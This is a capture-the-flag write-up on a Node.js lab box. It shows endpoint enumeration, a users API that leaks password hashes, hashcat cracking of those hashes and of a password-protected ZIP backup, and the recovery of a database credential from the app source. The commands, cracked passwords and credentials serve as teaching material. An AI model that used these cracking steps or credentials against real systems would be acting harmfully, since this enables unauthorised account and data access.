Web
Nmap initially discovered that the service running on port 3000
is Apache Hadoop
It later turned out to be wrong as it showed a web server built on Node.js
Webroot
It is indeed a web application
It also appears to be a custom website
wappalyzer also identified the technologies involved
AngularJS 1.6.5
Express
Node.js
There is a section that displays new members
These are potential usernames
tom
mark
rastating
There are files embedded to those photo, pointing to their profiles located at the /profile/
directory
The login button leads to
/login
/login
It is a login page;
/login
I tried some basic SQLi as well as default/weak credentials
None of them works
Interception
While poking around to see if there is any potential vulnerabilities that I can exploit, I discovered something very strange.
When I sent a GET request to the webroot and intercept it
The website first
- responses with a 304
- requests the browser to load
/partials/home.html
Upon forwarding, the highlighted gets loaded. It must be the
/partials/home.html
file
Then the web server
- responses with a 304 again
- requests the browser to load
/api/users/latest
Upon intercepting the request to
/api/users/latest/
, the web server responses with this
This must be the API for users.
It’s a JSON data and it contains what appears to be password hashes
And those users gets loaded when I forward the intercepted request above
This is the whole structure crawled by Burp Suite
I can see the
/api/users/latest
file
I these password hashes to Hashcat for cracking
It also shows that none of these users are admin
Password Cracking
tom
┌──(kali㉿kali)-[~/archive/htb/labs/node]
└─$ hashcat -a 0 -m 1400 hash/tom.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240:spongebob
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451...75f240
Time.Started.....: Wed Jan 18 21:34:56 2023 (1 sec)
Time.Estimated...: Wed Jan 18 21:34:57 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 435.3 kH/s (0.15ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 768/14344385 (0.01%)
Rejected.........: 0/768 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> james1
Hardware.Mon.#1..: Util: 48%
Started: Wed Jan 18 21:34:55 2023
Stopped: Wed Jan 18 21:34:58 2023
Password hash cracked for tom
spongebob
mark
┌──(kali㉿kali)-[~/archive/htb/labs/node]
└─$ hashcat -a 0 -m 1400 hash/mark.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
hashes: 1 digests; 1 unique digests, 1 unique salts
bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
rules: 1
dictionary cache hit:
* filename..: /usr/share/wordlists/rockyou.txt
* passwords.: 14344385
* bytes.....: 139921507
* keyspace..: 14344385
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73:snowflake
session..........: hashcat
status...........: Cracked
hash.mode........: 1400 (SHA2-256)
hash.target......: de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130...705f73
time.started.....: Wed Jan 18 21:35:06 2023 (0 secs)
time.estimated...: Wed Jan 18 21:35:06 2023 (0 secs)
kernel.feature...: Pure Kernel
guess.base.......: File (/usr/share/wordlists/rockyou.txt)
guess.queue......: 1/1 (100.00%)
speed.#1.........: 1485.4 kH/s (0.15ms) @ Accel:256 Loops:1 Thr:1 Vec:8
recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
progress.........: 1536/14344385 (0.01%)
rejected.........: 0/1536 (0.00%)
restore.point....: 768/14344385 (0.01%)
restore.sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
candidate.engine.: Device Generator
candidates.#1....: football1 -> mexico1
hardware.mon.#1..: Util: 41%
started: Wed Jan 18 21:35:05 2023
stopped: Wed Jan 18 21:35:08 2023
Password hash cracked for mark
snowflake
rastating
┌──(kali㉿kali)-[~/archive/htb/labs/node]
└─$ hashcat -a 0 -m 1400 hash/rastating.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: 5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc...8ac2f0
Time.Started.....: Wed Jan 18 21:35:23 2023 (7 secs)
Time.Estimated...: Wed Jan 18 21:35:30 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2169.8 kH/s (0.12ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[2121216a696d212121] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Util: 46%
Started: Wed Jan 18 21:35:22 2023
Stopped: Wed Jan 18 21:35:32 2023
Hashcat was unable to crack rastating
’s password hash
Validating
Now that I cracked the password hashes for tom
and mark
, I will validate the credentials by attempting to login
I was able to log in to the website as
tom
but there isn’t much to check.
Same goes for
mark
as well.
Broken Access Control
While I was validating the credentials, I had some interesting discoveries
JSON data for the POST request
It requests to load the
/partials/admin.html
and it showed this, due to both user not having the admin access
But that’s not the case, if I navigate to the file itself.
There is a button to download backup
However, I am unable to download it as the button doesn’t work.
Admin
Looking back at
/api/users/latest
, it shows 3 users. yet none of them are admin
But the web server displays another user if I change the URL to
/api/users/
The myP14ceAdm1nAcc0uNT
user is admin
┌──(kali㉿kali)-[~/archive/htb/labs/node]
└─$ hashcat -a 0 -m 1400 hash/myP14ceAdm1nAcc0uNT.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
hashes: 1 digests; 1 unique digests, 1 unique salts
bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
rules: 1
dictionary cache hit:
* filename..: /usr/share/wordlists/rockyou.txt
* passwords.: 14344385
* bytes.....: 139921507
* keyspace..: 14344385
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af:manchester
session..........: hashcat
status...........: Cracked
hash.mode........: 1400 (SHA2-256)
hash.target......: dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07...34d0af
time.started.....: Wed Jan 18 22:57:20 2023 (0 secs)
time.estimated...: Wed Jan 18 22:57:20 2023 (0 secs)
kernel.feature...: Pure Kernel
guess.base.......: File (/usr/share/wordlists/rockyou.txt)
guess.queue......: 1/1 (100.00%)
speed.#1.........: 699.4 kH/s (0.13ms) @ Accel:256 Loops:1 Thr:1 Vec:8
recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
progress.........: 768/14344385 (0.01%)
rejected.........: 0/768 (0.00%)
restore.point....: 0/14344385 (0.00%)
restore.sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
candidate.engine.: Device Generator
candidates.#1....: 123456 -> james1
hardware.mon.#1..: Util: 40%
started: Wed Jan 18 22:57:19 2023
stopped: Wed Jan 18 22:57:22 2023
Password hash cracked for myP14ceAdm1nAcc0uNT
The password is manchester
Successfully authenticated and logged as
myP14ceAdm1nAcc0uNT
The button is available
backup
┌──(kali㉿kali)-[~/…/htb/labs/node/webapp]
└─$ file myplace.backup
myplace.backup: ASCII text, with very long lines (65536), with no line terminators
It shows that the file contains a lot of texts
┌──(kali㉿kali)-[~/…/htb/labs/node/webapp]
└─$ cat myplace.backup
[...REDACTED...]
3L215cGxhY2Uvc3RhdGljL3BhcnRpYWxzL2FkbWluLmh0bWxVVAUAAyv1q1l1eAsAAQQAAAAABAAAAABQSwECHgMUAAkACABAASJLCYNSgUABAADFAgAAKgAYAAAAAAABAAAAtIED8CUAdmFyL3d3dy9teXBsYWNlL3N0YXRpYy9wYXJ0aWFscy9sb2dpbi5odG1sVVQFAAPH6KlZdXgLAAEEAAAAAAQAAAAAUEsBAh4DFAAJAAgACWUiSzCQGVICAgAANwUAACkAGAAAAAAAAQAAALSBt/ElAHZhci93d3cvbXlwbGFjZS9zdGF0aWMvcGFydGlhbHMvaG9tZS5odG1sVVQFAAOimKpZdXgLAAEEAAAAAAQAAAAAUEsBAh4DFAAJAAgATWUiSyhsx/IUAQAAFAIAACwAGAAAAAAAAQAAALSBLPQlAHZhci93d3cvbXlwbGFjZS9zdGF0aWMvcGFydGlhbHMvcHJvZmlsZS5odG1sVVQFAAMimapZdXgLAAEEAAAAAAQAAAAAUEsBAh4DFAAJAAgAfWMiS4Tw22u4BAAAFQ8AABgAGAAAAAAAAQAAALSBtvUlAHZhci93d3cvbXlwbGFjZS9hcHAuaHRtbFVUBQADvpWqWXV4CwABBAAAAAAEAAAAAFBLBQYAAAAAXwNfA3edAQDQ+iUAAAA=
It appears to be a very long line of Base64 string
┌──(kali㉿kali)-[~/…/htb/labs/node/webapp]
└─$ cat myplace.backup | base64 -d > myplace.backup.decoded
┌──(kali㉿kali)-[~/…/htb/labs/node/webapp]
└─$ cat myplace.backup.decoded
[...REDACTED...]
EB / 1 Z̀ mpr r @ # T ~W G }⯯Cd\
Io+ x^ nb k $R 1( ?CX^U ^PfN
z H 8n. 1 CP @ Ed 2 ! /~ SFW
gmLkj ݅ mCnM ӇE P*fҺ] ` C"0cS}
[...REDACTED...]
So I decode it and it now appears to be in binary format
┌──(kali㉿kali)-[~/…/htb/labs/node/webapp]
└─$ file myplace.backup.decoded
myplace.backup.decoded: Zip archive data, at least v1.0 to extract, compression method=store
It’s a ZIP archive. Of course. This is a backup for the webserver
┌──(kali㉿kali)-[~/…/htb/labs/node/webapp]
└─$ unzip myplace.backup.decoded
Archive: myplace.backup.decoded
creating: var/www/myplace/
[myplace.backup.decoded] var/www/myplace/package-lock.json password:
The archive is password-protected.
┌──(kali㉿kali)-[~/…/htb/labs/node/webapp]
└─$ zip2john myplace.backup.decoded
ver 1.0 myplace.backup.decoded/var/www/myplace/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 myplace.backup.decoded/var/www/myplace/package-lock.json PKZIP Encr: TS_chk, cmplen=4404, decmplen=21264, crc=37EF7D4C ts=0145 cs=0145 type=8
[...REDACTED...]
myplace.backup.decoded:$pkzip$8*1*1*0*0*11*2938*bf16bd5431e58bc8db90e47c2afb489c1b*1*0*0*17*996a*8f22db1e59bdf34f2857338c52ec0ba43f5bda58c9e545*1*0*0*19*5083*3eee568417a1ddf4f5f3996dcd2f7e84f6d90b3f6a65ea870b*1*0*0*1f*b16f*fcab91b9df57c2b8060c3d8693a829a2cdda6452f6a3e21f5e68ea0aeeabb3*1*0*0*24*a3cc*3e97e0bb3a6870ee867a75141340305f46b60eb09581b09d395c54e089ca09039bf4867f*1*0*8*24*5083*27df6b4d9a909a4e3ae441e2623615dfc26b3cf7e609d635bd1e0a4bceffeb6713b4ac0b*1*0*0*24*9679*f852cfa1cc264209b9d2f3b8e5989203857e573e78156b3be7ad5d718e46fdd82a997032*2*0*11*5*118f1dfc*94cb*67*0*11*3d0f*d60277fc480569b0652682aaccac54024a*$/pkzip$::myplace.backup.decoded:var/www/myplace/node_modules/qs/.eslintignore, var/www/myplace/node_modules/express/node_modules/qs/.eslintignore, var/www/myplace/node_modules/string_decoder/.npmignore, var/www/myplace/node_modules/isarray/.npmignore, var/www/myplace/node_modules/ipaddr.js/.npmignore, var/www/myplace/node_modules/cookie-signature/.npmignore, var/www/myplace/node_modules/isarray/.travis.yml, var/www/myplace/node_modules/debug/node.js:myplace.backup.decoded
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
So I tried converting the archive to crack-able hash with zip2john.
It showed a lot of errors, mostly related to the files inside not having the same configuration for compression.
$pkzip$8*1*1*0*0*11*2938*bf16bd5431e58bc8db90e47c2afb489c1b*1*0*0*17*996a*8f22db1e59bdf34f2857338c52ec0ba43f5bda58c9e545*1*0*0*19*5083*3eee568417a1ddf4f5f3996dcd2f7e84f6d90b3f6a65ea870b*1*0*0*1f*b16f*fcab91b9df57c2b8060c3d8693a829a2cdda6452f6a3e21f5e68ea0aeeabb3*1*0*0*24*a3cc*3e97e0bb3a6870ee867a75141340305f46b60eb09581b09d395c54e089ca09039bf4867f*1*0*8*24*5083*27df6b4d9a909a4e3ae441e2623615dfc26b3cf7e609d635bd1e0a4bceffeb6713b4ac0b*1*0*0*24*9679*f852cfa1cc264209b9d2f3b8e5989203857e573e78156b3be7ad5d718e46fdd82a997032*2*0*11*5*118f1dfc*94cb*67*0*11*3d0f*d60277fc480569b0652682aaccac54024a*$/pkzip$
But I got one at the bottom.
I removed myplace.backup.decoded
at the both end with :
because that would be for john
I want to crack the hash with Hashcat
┌──(kali㉿kali)-[~/…/htb/labs/node/webapp]
└─$ hashcat -a 0 -m 17225 myplace.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$pkzip$8*1*1*0*0*11*2938*bf16bd5431e58bc8db90e47c2afb489c1b*1*0*0*17*996a*8f22db1e59bdf34f2857338c52ec0ba43f5bda58c9e545*1*0*0*19*5083*3eee568417a1ddf4f5f3996dcd2f7e84f6d90b3f6a65ea870b*1*0*0*1f*b16f*fcab91b9df57c2b8060c3d8693a829a2cdda6452f6a3e21f5e68ea0aeeabb3*1*0*0*24*a3cc*3e97e0bb3a6870ee867a75141340305f46b60eb09581b09d395c54e089ca09039bf4867f*1*0*8*24*5083*27df6b4d9a909a4e3ae441e2623615dfc26b3cf7e609d635bd1e0a4bceffeb6713b4ac0b*1*0*0*24*9679*f852cfa1cc264209b9d2f3b8e5989203857e573e78156b3be7ad5d718e46fdd82a997032*2*0*11*5*118f1dfc*94cb*67*0*11*3d0f*d60277fc480569b0652682aaccac54024a*$/pkzip$:magicword
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 17225 (PKZIP (Mixed Multi-File))
Hash.Target......: $pkzip$8*1*1*0*0*11*2938*bf16bd5431e58bc8db90e47c2a...pkzip$
Time.Started.....: Wed Jan 18 23:20:23 2023 (0 secs)
Time.Estimated...: Wed Jan 18 23:20:23 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2091.9 kH/s (0.13ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 183552/14344385 (1.28%)
Rejected.........: 0/183552 (0.00%)
Restore.Point....: 182784/14344385 (1.27%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: mandy33 -> laroya
Hardware.Mon.#1..: Util: 37%
Started: Wed Jan 18 23:20:08 2023
Stopped: Wed Jan 18 23:20:25 2023
Hashcat cracked the password hash for the archive
The password is magicword
┌──(kali㉿kali)-[~/…/htb/labs/node/webapp]
└─$ unzip myplace.backup.decoded
Archive: myplace.backup.decoded
creating: var/www/myplace/
[myplace.backup.decoded] var/www/myplace/package-lock.json password: magicword
inflating: var/www/myplace/package-lock.json
[...REDACTED...]
I put the password and extracted the content from the archive
┌──(kali㉿kali)-[~/…/htb/labs/node/webapp]
└─$ du -h ./var
[...REDACTED...]
8.9M ./var
About 8.9Mb worth of data was extracted. It’s the whole app
┌──(kali㉿kali)-[~/…/webapp/var/www/myplace]
└─$ ll
total 56K
4.0K drwxr-xr-x 3 kali kali 4.0K Jan 18 23:21 ..
4.0K drwxr-xr-x 4 kali kali 4.0K Aug 16 18:08 .
8.0K -rw-rw-r-- 1 kali kali 7.9K Sep 3 2017 app.js
4.0K -rw-rw-r-- 1 kali kali 3.8K Sep 2 2017 app.html
4.0K drwxr-xr-x 69 kali kali 4.0K Sep 2 2017 node_modules
24K -rw-r--r-- 1 kali kali 21K Sep 2 2017 package-lock.json
4.0K drwxrwxr-x 6 kali kali 4.0K Sep 2 2017 static
4.0K -rw-rw-r-- 1 kali kali 283 Sep 2 2017 package.json
The app.js
file is the main file.
There is a SQL connection string for connecting to the
myplace
DB in the backend MongoDB
it contains a credential
mark
:5AYRft73VtFpc84k
There is also a variable named, backup_key
,
This must be the function used to backup the web server.
I can see that the function is calling a binary located at
/usr/local/bin/backup
The binary is then executed with the backup_key
in the argument
For now, I will test the credential for password reuse